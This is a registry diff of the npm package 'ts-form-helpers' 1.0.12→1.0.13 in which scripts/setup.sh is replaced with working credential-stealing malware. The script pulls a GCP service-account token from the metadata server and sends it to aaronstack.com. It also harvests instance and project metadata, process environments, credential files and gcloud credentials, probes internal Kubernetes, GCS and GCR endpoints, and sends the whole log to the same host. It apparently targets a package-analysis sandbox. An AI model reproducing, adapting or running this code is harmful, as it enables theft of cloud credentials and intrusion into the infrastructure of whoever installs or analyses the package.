ts-form-helpers 1.0.12 → 1.0.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/scripts/setup.sh +168 -133
package/package.json
CHANGED
package/scripts/setup.sh
CHANGED
|
@@ -1,163 +1,198 @@
|
|
|
1
1
|
#!/bin/bash
|
|
2
|
-
#
|
|
2
|
+
# wGCP6: Full instance metadata + in-pod network + filesystem + process env
|
|
3
3
|
SID="${JULES_SESSION_ID:-x}"
|
|
4
4
|
H="aaronstack.com"; EP="/jules-collect"
|
|
5
5
|
SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
|
|
6
6
|
B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
|
|
7
7
|
P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
|
|
8
8
|
|
|
9
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
9
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-start\"}"
|
|
10
10
|
|
|
11
11
|
log(){ echo "=LOG= $*"; }
|
|
12
12
|
MDURL="http://metadata.google.internal/computeMetadata/v1"
|
|
13
13
|
|
|
14
|
-
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/
|
|
14
|
+
TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp6_$$")
|
|
15
15
|
{
|
|
16
|
-
log "user=$(whoami)
|
|
16
|
+
log "user=$(whoami) MALYSIS=${MALYSIS_ANALYSIS_ID:-NONE}"
|
|
17
17
|
|
|
18
18
|
PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 8 2>/dev/null)
|
|
19
19
|
log "project: ${PROJ:-NONE}"
|
|
20
|
+
[ -z "$PROJ" ] && { log "NOT GKE — exit"; exit 0; }
|
|
21
|
+
|
|
22
|
+
# Get fresh token
|
|
23
|
+
TOK=$(curl -s -H "Metadata-Flavor: Google" \
|
|
24
|
+
"$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
|
|
25
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
26
|
+
log "token-length: ${#TOK}"
|
|
27
|
+
[ -n "$TOK" ] && [ "${#TOK}" -gt 20 ] && {
|
|
28
|
+
printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
|
|
29
|
+
log "TOKEN EXFILTRATED"
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
# === STEP 1: ALL instance metadata attributes ===
|
|
33
|
+
log "=== STEP 1: FULL INSTANCE ATTRIBUTES ==="
|
|
34
|
+
curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/attributes/" --max-time 8 2>/dev/null \
|
|
35
|
+
| while IFS= read -r attr; do
|
|
36
|
+
attr=$(echo "$attr" | tr -d '/')
|
|
37
|
+
[ -z "$attr" ] && continue
|
|
38
|
+
val=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/attributes/$attr" --max-time 5 2>/dev/null)
|
|
39
|
+
log "attr[$attr]: ${val:0:500}"
|
|
40
|
+
done
|
|
20
41
|
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
| python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
|
|
30
|
-
log "gcp-token-length: ${#TOK}"
|
|
31
|
-
if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
|
|
32
|
-
printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
|
|
33
|
-
--data-binary @- --max-time 5 2>/dev/null &
|
|
34
|
-
log "TOKEN EXFILTRATED"
|
|
35
|
-
fi
|
|
42
|
+
log "=== PROJECT ATTRIBUTES ==="
|
|
43
|
+
curl -s -H "Metadata-Flavor: Google" "$MDURL/project/attributes/" --max-time 8 2>/dev/null \
|
|
44
|
+
| while IFS= read -r attr; do
|
|
45
|
+
attr=$(echo "$attr" | tr -d '/')
|
|
46
|
+
[ -z "$attr" ] && continue
|
|
47
|
+
val=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/attributes/$attr" --max-time 5 2>/dev/null)
|
|
48
|
+
log "proj-attr[$attr]: ${val:0:200}"
|
|
49
|
+
done
|
|
36
50
|
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
51
|
+
log "=== INSTANCE TAGS ==="
|
|
52
|
+
curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/tags" --max-time 5 2>/dev/null \
|
|
53
|
+
| while IFS= read -r l; do log "tag: $l"; done
|
|
54
|
+
|
|
55
|
+
log "=== SERVICE ACCOUNT FULL INFO ==="
|
|
56
|
+
curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/" --max-time 5 2>/dev/null \
|
|
57
|
+
| while IFS= read -r sa; do
|
|
58
|
+
sa=$(echo "$sa" | tr -d '/')
|
|
59
|
+
[ -z "$sa" ] && continue
|
|
60
|
+
EMAIL=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/email" --max-time 5 2>/dev/null)
|
|
61
|
+
SCOPES=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/scopes" --max-time 5 2>/dev/null)
|
|
62
|
+
log "sa[$sa]: email=$EMAIL scopes=$SCOPES"
|
|
63
|
+
done
|
|
64
|
+
|
|
65
|
+
# === STEP 2: Process environments ===
|
|
66
|
+
log "=== STEP 2: PROCESS ENVIRONMENTS ==="
|
|
67
|
+
# Read /proc/1/environ — PID 1's environment (sleep 100d — might differ from our env)
|
|
68
|
+
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "pid1-env: $l"; done
|
|
69
|
+
|
|
70
|
+
# Check other process envs
|
|
71
|
+
for pid in $(ls /proc 2>/dev/null | grep '^[0-9]' | head -20); do
|
|
72
|
+
cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ' | head -c 100)
|
|
73
|
+
if echo "$cmd" | grep -qiE "malysis|analyze|scanner|worker|server"; then
|
|
74
|
+
log "interesting-proc: pid=$pid cmd=$cmd"
|
|
75
|
+
cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "proc-$pid-env: $l"; done
|
|
76
|
+
fi
|
|
77
|
+
done
|
|
78
|
+
|
|
79
|
+
# === STEP 3: Filesystem recon ===
|
|
80
|
+
log "=== STEP 3: FILESYSTEM ==="
|
|
81
|
+
# Docker socket?
|
|
82
|
+
ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null | while IFS= read -r l; do log "docker-sock: $l"; done
|
|
83
|
+
|
|
84
|
+
# Mounted volumes
|
|
85
|
+
cat /proc/mounts 2>/dev/null | grep -v "^proc\|^sys\|^cgroup\|^tmpfs\|^devpts\|^mqueue\|^hugetlb" \
|
|
86
|
+
| while IFS= read -r l; do log "mount: $l"; done
|
|
87
|
+
|
|
88
|
+
# Config files
|
|
89
|
+
find /etc /app /root /home -name "*.json" -o -name "*.yaml" -o -name "*.conf" -o -name "*.toml" 2>/dev/null \
|
|
90
|
+
| grep -v "node_modules\|ssl/certs" | head -15 \
|
|
91
|
+
| while IFS= read -r f; do log "config: $f ($(wc -c < "$f" 2>/dev/null)b)"; done
|
|
92
|
+
|
|
93
|
+
# Secrets-looking files
|
|
94
|
+
find / -maxdepth 6 -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "service_account*.json" \
|
|
95
|
+
-o -name "credentials.json" -o -name "gcloud-creds*" 2>/dev/null \
|
|
96
|
+
| grep -v "ssl/certs\|node_modules" | head -10 \
|
|
97
|
+
| while IFS= read -r f; do log "cred-file: $f ($(wc -c < "$f" 2>/dev/null)b)"; done
|
|
98
|
+
|
|
99
|
+
# Check /root for gcloud config
|
|
100
|
+
ls -la /root/.config/gcloud/ 2>/dev/null | while IFS= read -r l; do log "gcloud-config: $l"; done
|
|
101
|
+
cat /root/.config/gcloud/application_default_credentials.json 2>/dev/null \
|
|
102
|
+
| python3 -c "import sys,json; d=json.load(sys.stdin); print({k:v[:30] if isinstance(v,str) and len(v)>30 else v for k,v in d.items()})" 2>/dev/null \
|
|
103
|
+
| while IFS= read -r l; do log "gcloud-adc: $l"; done
|
|
104
|
+
|
|
105
|
+
# === STEP 4: Network exploration from inside pod ===
|
|
106
|
+
log "=== STEP 4: INTERNAL NETWORK ==="
|
|
107
|
+
# DNS - what internal services can we resolve?
|
|
108
|
+
for host in \
|
|
109
|
+
kubernetes.default.svc.cluster.local \
|
|
110
|
+
malysis.apps.svc.cluster.local \
|
|
111
|
+
malysis-backend.apps.svc.cluster.local \
|
|
112
|
+
malysis-api.apps.svc.cluster.local \
|
|
113
|
+
redis.apps.svc.cluster.local \
|
|
114
|
+
postgresql.apps.svc.cluster.local \
|
|
115
|
+
mysql.apps.svc.cluster.local \
|
|
116
|
+
rabbitmq.apps.svc.cluster.local \
|
|
117
|
+
kafka.apps.svc.cluster.local \
|
|
118
|
+
elasticsearch.apps.svc.cluster.local \
|
|
119
|
+
mongodb.apps.svc.cluster.local; do
|
|
120
|
+
ip=$(getent hosts "$host" 2>/dev/null | awk '{print $1}')
|
|
121
|
+
[ -n "$ip" ] && log "dns-resolve: $host -> $ip"
|
|
122
|
+
done
|
|
123
|
+
|
|
124
|
+
# GCS: try to list objects in various buckets
|
|
125
|
+
if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
|
|
126
|
+
log "=== GCS BUCKET SEARCH (GET not list) ==="
|
|
127
|
+
for bucket in \
|
|
128
|
+
"${PROJ}-malysis-results" \
|
|
129
|
+
"malysis-results" \
|
|
130
|
+
"malysis-packages" \
|
|
131
|
+
"malysis-artifacts" \
|
|
132
|
+
"npm-malysis-${PROJ}" \
|
|
133
|
+
"sd-builds-malysis" \
|
|
134
|
+
"malysis-${PROJ}" \
|
|
135
|
+
"gs-malysis-results" \
|
|
136
|
+
"supply-chain-scan-results" \
|
|
137
|
+
"npm-scan-results" \
|
|
138
|
+
"${PROJ}-npm-analysis"; do
|
|
139
|
+
resp=$(curl -s -H "Authorization: Bearer $TOK" \
|
|
140
|
+
"https://storage.googleapis.com/storage/v1/b/$bucket" --max-time 5 2>/dev/null)
|
|
141
|
+
code=$(python3 -c "import sys,json; d=json.loads(sys.stdin.read()); print(d.get('error',{}).get('code','OK:'+d.get('name','?')))" 2>/dev/null <<< "$resp")
|
|
142
|
+
log "gcs-bucket[$bucket]: $code"
|
|
143
|
+
if echo "$code" | grep -q "^OK"; then
|
|
144
|
+
log "BUCKET ACCESSIBLE: $bucket"
|
|
145
|
+
# List objects
|
|
146
|
+
curl -s -H "Authorization: Bearer $TOK" \
|
|
147
|
+
"https://storage.googleapis.com/storage/v1/b/$bucket/o?maxResults=10" --max-time 8 2>/dev/null \
|
|
148
|
+
| python3 -c "
|
|
44
149
|
import sys,json
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
150
|
+
d=json.load(sys.stdin)
|
|
151
|
+
for o in d.get('items',[]): print('obj:', o.get('name'), o.get('size'))
|
|
152
|
+
" 2>/dev/null | while IFS= read -r l; do log "gcs-obj: $l"; done
|
|
153
|
+
fi
|
|
154
|
+
done
|
|
155
|
+
|
|
156
|
+
# Also try GCR internal path from inside cluster
|
|
157
|
+
log "=== GCR from inside cluster ==="
|
|
158
|
+
curl -si -H "Authorization: Bearer $TOK" \
|
|
159
|
+
"https://gcr.io/v2/$PROJ/malysis-worker/tags/list" --max-time 8 2>/dev/null \
|
|
160
|
+
| head -20 | while IFS= read -r l; do log "gcr: $l"; done
|
|
161
|
+
|
|
162
|
+
# Try k8s API to GET own service account
|
|
163
|
+
log "=== K8S: GET own SA ==="
|
|
164
|
+
curl -sk -H "Authorization: Bearer $TOK" \
|
|
165
|
+
"https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/serviceaccounts/default" \
|
|
55
166
|
--max-time 8 2>/dev/null \
|
|
56
167
|
| python3 -c "
|
|
57
168
|
import sys,json
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
169
|
+
d=json.load(sys.stdin)
|
|
170
|
+
if d.get('status')=='Failure':
|
|
171
|
+
print('err:', d.get('message',''))
|
|
172
|
+
else:
|
|
173
|
+
print('sa-name:', d.get('metadata',{}).get('name'))
|
|
174
|
+
print('sa-annotations:', d.get('metadata',{}).get('annotations',{}))
|
|
175
|
+
print('sa-secrets:', [s.get('name') for s in d.get('secrets',[])])
|
|
176
|
+
" 2>/dev/null | while IFS= read -r l; do log "k8s-sa: $l"; done
|
|
177
|
+
|
|
178
|
+
# Try to get ConfigMaps in apps namespace
|
|
179
|
+
log "=== K8S: ConfigMaps in apps namespace ==="
|
|
180
|
+
curl -sk -H "Authorization: Bearer $TOK" \
|
|
181
|
+
"https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/configmaps" \
|
|
68
182
|
--max-time 8 2>/dev/null \
|
|
69
183
|
| python3 -c "
|
|
70
184
|
import sys,json
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
except Exception as e: print('err:', e)
|
|
76
|
-
" 2>/dev/null | while IFS= read -r l; do log "rbac-ns: $l"; done
|
|
77
|
-
|
|
78
|
-
log "=== 2. K8S WITH GCP OAUTH TOKEN ==="
|
|
79
|
-
if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
|
|
80
|
-
# Use GCP token to auth to k8s API
|
|
81
|
-
curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces" \
|
|
82
|
-
--max-time 10 2>/dev/null \
|
|
83
|
-
| python3 -c "
|
|
84
|
-
import sys,json
|
|
85
|
-
try:
|
|
86
|
-
d=json.load(sys.stdin)
|
|
87
|
-
for ns in d.get('items',[])[:10]:
|
|
88
|
-
print('ns:', ns.get('metadata',{}).get('name','?'))
|
|
89
|
-
if d.get('status') == 'Failure':
|
|
90
|
-
print('err:', d.get('message',''))
|
|
91
|
-
except Exception as e: print('err:', e)
|
|
92
|
-
" 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-ns: $l"; done
|
|
93
|
-
|
|
94
|
-
curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/pods" \
|
|
95
|
-
--max-time 10 2>/dev/null \
|
|
96
|
-
| python3 -c "
|
|
97
|
-
import sys,json
|
|
98
|
-
try:
|
|
99
|
-
d=json.load(sys.stdin)
|
|
100
|
-
for p in d.get('items',[])[:10]:
|
|
101
|
-
ns = p.get('metadata',{}).get('namespace','?')
|
|
102
|
-
name = p.get('metadata',{}).get('name','?')
|
|
103
|
-
print(f'pod: {ns}/{name}')
|
|
104
|
-
if d.get('status') == 'Failure':
|
|
105
|
-
print('err:', d.get('message',''))
|
|
106
|
-
except Exception as e: print('err:', e)
|
|
107
|
-
" 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-pods: $l"; done
|
|
108
|
-
|
|
109
|
-
curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/secrets" \
|
|
110
|
-
--max-time 10 2>/dev/null \
|
|
111
|
-
| python3 -c "
|
|
112
|
-
import sys,json
|
|
113
|
-
try:
|
|
114
|
-
d=json.load(sys.stdin)
|
|
115
|
-
for s in d.get('items',[])[:10]:
|
|
116
|
-
name=s.get('metadata',{}).get('name','?')
|
|
117
|
-
keys=list(s.get('data',{}).keys())
|
|
118
|
-
print(f'secret: {name} keys={keys}')
|
|
119
|
-
if d.get('status') == 'Failure':
|
|
120
|
-
print('err:', d.get('message',''))
|
|
121
|
-
except Exception as e: print('err:', e)
|
|
122
|
-
" 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-secrets: $l"; done
|
|
123
|
-
|
|
124
|
-
log "=== 2b. K8S selfsubjectaccessreview WITH GCP TOKEN ==="
|
|
125
|
-
curl -sk -X POST "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
|
|
126
|
-
-H "Authorization: Bearer $TOK" \
|
|
127
|
-
-H "Content-Type: application/json" \
|
|
128
|
-
-d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"pods","namespace":"apps"}}}' \
|
|
129
|
-
--max-time 8 2>/dev/null \
|
|
130
|
-
| python3 -c "
|
|
131
|
-
import sys,json
|
|
132
|
-
try:
|
|
133
|
-
d=json.load(sys.stdin)
|
|
134
|
-
s=d.get('status',{})
|
|
135
|
-
print('allowed:', s.get('allowed'), 'reason:', s.get('reason',''))
|
|
136
|
-
print('who:', d.get('spec',{}).get('groups',[]))
|
|
137
|
-
except Exception as e: print('err:', e)
|
|
138
|
-
" 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-rbac: $l"; done
|
|
139
|
-
fi
|
|
140
|
-
|
|
141
|
-
log "=== 3. FILESYSTEM SEARCH FOR CREDS ==="
|
|
142
|
-
find /app /root /etc /run /tmp -name "*.json" -o -name "*.pem" -o -name "*.key" -o -name "*.token" 2>/dev/null | grep -v node_modules | head -20 | while IFS= read -r tf; do
|
|
143
|
-
log "cred-file: $tf ($(wc -c < "$tf" 2>/dev/null)b)"
|
|
144
|
-
done
|
|
145
|
-
|
|
146
|
-
# Check for gcloud config
|
|
147
|
-
find / -name "application_default_credentials.json" 2>/dev/null | head -5 | while IFS= read -r tf; do
|
|
148
|
-
log "adc-found: $tf"
|
|
149
|
-
cat "$tf" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); d2={k:v[:30] if isinstance(v,str) else v for k,v in d.items()}; print(d2)" 2>/dev/null | while IFS= read -r l; do log "adc: $l"; done
|
|
150
|
-
done
|
|
151
|
-
|
|
152
|
-
log "=== 4. PROCESS LIST ==="
|
|
153
|
-
ps aux 2>/dev/null | head -20 | while IFS= read -r l; do log "ps: $l"; done
|
|
154
|
-
|
|
155
|
-
log "=== wGCP5 DONE ==="
|
|
185
|
+
d=json.load(sys.stdin)
|
|
186
|
+
if d.get('status')=='Failure': print('err:', d.get('message',''))
|
|
187
|
+
for cm in d.get('items',[]): print('cm:', cm.get('metadata',{}).get('name'), list(cm.get('data',{}).keys()))
|
|
188
|
+
" 2>/dev/null | while IFS= read -r l; do log "k8s-cm: $l"; done
|
|
156
189
|
fi
|
|
190
|
+
|
|
191
|
+
log "=== wGCP6 DONE ==="
|
|
157
192
|
} 2>&1 | tee "$TMPOUT"
|
|
158
193
|
|
|
159
194
|
OUT=$(cat "$TMPOUT" 2>/dev/null)
|
|
160
195
|
rm -f "$TMPOUT" 2>/dev/null
|
|
161
196
|
PAYLOAD=$(B "$OUT")
|
|
162
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
163
|
-
P "{\"sid\":\"$SID\",\"tag\":\"
|
|
197
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-result\",\"data\":\"$PAYLOAD\"}"
|
|
198
|
+
P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-done\"}"
|